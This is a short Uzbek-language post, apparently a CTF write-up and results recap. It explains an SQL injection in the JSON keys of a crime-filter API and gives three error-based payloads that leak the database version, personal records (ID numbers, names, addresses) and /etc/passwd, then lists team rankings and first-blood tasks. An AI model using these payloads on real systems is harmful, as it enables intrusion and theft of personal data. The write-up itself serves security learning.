POST /api/crime/filter — body: {"type": "robbery"}

Bo'sh JSON yuborganimda server 500 qaytardi va butun SQL query error body'da chiqib keldi:
... WHERE 1=1 and (cast( <KEY> as text) ilike '%<VALUE>%')
Backend JSON'dagi key nomini to'g'ridan-to'g'ri SQL identifier sifatida CAST() ichiga yopishtirayapti.
Value parametrlangan, prepared statement ishlayapti. Lekin key — identifier. Identifier'ni parametrlab bo'lmaydi. JDBC hech qachon column name'ni ? bilan almashtirmaydi. Ya'ni injection value'ga emas, key'ga tushyapti.

{"CAST(version() AS INT)": "x"}

{"CAST((SELECT iin||' | '||fio||' | '||adres FROM asp_recipient LIMIT 1) AS INT)": "x"}

{"CAST((SELECT pg_read_file('/etc/passwd',0,500)) AS INT)": "x"}

Bo'lib o'tgan musoboqada turli xil davlatdan jamoalar kelishdi, ko'pchilik taniydigan HackerLab 🇷🇺,Kheshig 🇲🇳, BunkyoWesterns 🇯🇵, Mimicats 🇰🇿 jamoalari yaxshigini o'zini ko'rsatdi. Bunday kuchli jamoalarga qarshi turish ham oson bo'lmaydi.

Team1337 tomonidan qilingan first bloodlar:

1. SCADA: HOSPITAL
2. Ransomware attack on backup server
3. Leak of confidential data: healthcare service
4. Leak of confidential data: secret company contracts

Zee jamoasi ham birinchi kunda o'zlarini juda yaxshi ko'rsatib 2 o'ringa chiqib ancha vaqt buni ushlab turishdi, hardware taskni ham ishlashdi ammo CTFning so'ngida 11-o'rin bo'lib qolishdi. Hech qisi yo'q birinchi marotaba qatnashayotgan teamga bu juda zo'r natija va yaxshi tajriba bo'ldi deb o'ylayman.